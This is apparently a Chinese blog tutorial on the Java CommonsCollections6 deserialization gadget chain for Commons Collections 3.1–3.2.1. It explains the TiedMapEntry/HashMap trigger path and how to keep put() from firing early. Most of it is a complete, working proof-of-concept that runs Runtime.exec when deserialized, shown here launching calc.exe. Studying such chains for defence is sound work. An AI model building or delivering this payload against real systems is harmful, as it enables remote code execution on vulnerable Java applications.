[java安全]CommonsCollections6

文章目录

    • 【java安全】CommonsCollections6
      • **测试环境**
      • 前言
      • 分析
      • TiedMapEntry
      • 注意点一
      • 注意点二
      • POC
      • 调用栈

【java安全】CommonsCollections6

测试环境

3.1-3.2.1,jdk1.7,1.8

前言

之前我们分析了CommonsCollections1 LazyMap利用链,但是在java 8u71以后这个链就不能继续用了,原因是sun.reflect.annotation.AnnotationInvocationHandler类的readObject()等方法的逻辑改变了:

// jdk1.8
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField var2 = var1.readFields();
        Class var3 = (Class)var2.get("type", (Object)null);
        Map var4 = (Map)var2.get("memberValues", (Object)null);
        AnnotationType var5 = null;

        try {
            var5 = AnnotationType.getInstance(var3);
        } catch (IllegalArgumentException var13) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var6 = var5.memberTypes();
        LinkedHashMap var7 = new LinkedHashMap();

        String var10;
        Object var11;
        for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
            Map.Entry var9 = (Map.Entry)var8.next();
            var10 = (String)var9.getKey();
            var11 = null;
            Class var12 = (Class)var6.get(var10);
            if (var12 != null) {
                var11 = var9.getValue();
                if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                    var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
                }
            }
        }

        AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
        AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
    }

我们需要找一个绕过高版本的利用链CommonsCollections6

分析

LazyMapget()方法我们不能继续使用CommonsCollections1中通过使用动态代理的方式调用AnnotationInvocationHandlerinvoke()方法,从而触发LazyMap#get()方法了

我们需要了解到一个新的类:

TiedMapEntry

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;

    public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }
    public Object getValue() {
        return this.map.get(this.key);
    }

    ...
        
    public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }

  

这里重点关注TiedMapEntry类的hashCode()方法,他会调用自身的getValue()方法,而this.map变量可以传入LazyMap类型,于是就触发了get()方法

但是应该从哪里调用TiedMapEntry#hashCode()方法呢?

我们可以使用HashMap

HashMap#readObject()方法会对key使用hash()方法,然后hash方法会对key使用hashCode()方法:

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }
    
private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    ...
        putVal(hash(key), key, value, false, false);
		}
	}
}
public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

于是我们可以构造一个HashMap

然后使用put方法将TiedMapEntry添加进去:

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");
Map hashMap = new HashMap();
/*
*此处使用put()触发了hash()方法,从而未经readObject() RCE
*我们需要先将ChainedTransformer值设置为假的fakeTransformers
*/
hashMap.put(tiedMapEntry, "value");

注意点一

需要注意,我们在使用HashMap#put()方法的时候,会触发hash()方法,从而在没有反序列化时就触发了RCE,这显然不合理,于是我们可以先在LazyMap中添加一个假的ChainedTransformer类对象,这样put()就触发不了RCE了:

Transformer[] fakeTransformers = new Transformer[]{};
Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);// fake
Map uselessMap = new HashMap();
Map outerMap = LazyMap.decorate(uselessMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");

Map hashMap = new HashMap();
/*
*此处使用put()触发了hash()方法,从而未经readObject() RCE
*我们需要先将ChainedTransformer值设置为假的fakeTransformers
*/
hashMap.put(tiedMapEntry, "value");

添加完成之后我们通过反射将chainedTransformer的变量iTransformer改为真的:

Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformers);

总结一下:

我们想要触发LazyMap#get()方法,可以通过TiedMapEntry#hashCode()方法,然后TiedMapEntry#hashCode()方法可以被HashMap#readObject()中的hash()调用,完成RCE

我们接下来模拟反序列化,完整代码如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
    public static void main(String[] args) throws Exception {
//        sun.reflect.annotation.AnnotationInvocationHandler
        Transformer[] fakeTransformers = new Transformer[]{};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class,
                        Class[].class}, new Object[]{"getRuntime",
                        new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class,
                        Object[].class}, new Object[]{null, new
                        Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class
                },
                        new String[]{"calc.exe"})
        };
        Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map uselessMap = new HashMap();
        Map outerMap = LazyMap.decorate(uselessMap, chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");

        Map hashMap = new HashMap();

        /*
         *此处使用put()触发了hash()方法,从而未经readObject() RCE
         *我们需要先将ChainedTransformer值设置为假的fakeTransformers
         */
        hashMap.put(tiedMapEntry, "value");
        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer, transformers);


        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(hashMap);
        oos.close();

        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
        ois.close();
    }
}

看似以及完美了,但是我们执行一下发现没有弹出计算器

注意点二

上述代码的问题在这:

hashMap.put(tiedMapEntry, "value");

虽然tiedMapEntry中的LazyMap的值chainedTransformer以及换为空的,但是还是会执行hash()方法

[java安全]CommonsCollections6_第1张图片

这导致方框中的添加为flase,不进入if中,导致不会执行chainedTransformer#transform()方法

解决方法:

我们在put()后使用Map#clear()方法,将LazyMap中的值清空

POC

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
    public static void main(String[] args) throws Exception {
//        sun.reflect.annotation.AnnotationInvocationHandler
        Transformer[] fakeTransformers = new Transformer[]{};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class,
                        Class[].class}, new Object[]{"getRuntime",
                        new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class,
                        Object[].class}, new Object[]{null, new
                        Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class
                },
                        new String[]{"calc.exe"})
        };
        Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map uselessMap = new HashMap();
        Map outerMap = LazyMap.decorate(uselessMap, chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");

        Map hashMap = new HashMap();

        /*
         *此处使用put()触发了hash()方法,从而未经readObject() RCE
         *我们需要先将ChainedTransformer值设置为假的fakeTransformers
         */
        hashMap.put(tiedMapEntry, "value");
        //清空由于 hashMap.put 对 LazyMap 造成的影响
        outerMap.clear();
        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer, transformers);


        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(hashMap);
        oos.close();

        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
        ois.close();
    }
}

调用栈

//这里是 jdk 1.7 的,不同版本 HashMap readObject 可能略有不同
  ->HashMap.readObject()
          ->HashMap.hash()
            ->TiedMapEntry.hashCode()
                    ->TiedMapEntry.getValue()
                    ->LazyMap.get()
                      ->ChainedTransformer.transform()
                          ->ConstantTransformer.transform()
                              ->InvokerTransformer.transform()
                                  ->…………

你可能感兴趣的:(java,java,安全,哈希算法,web安全)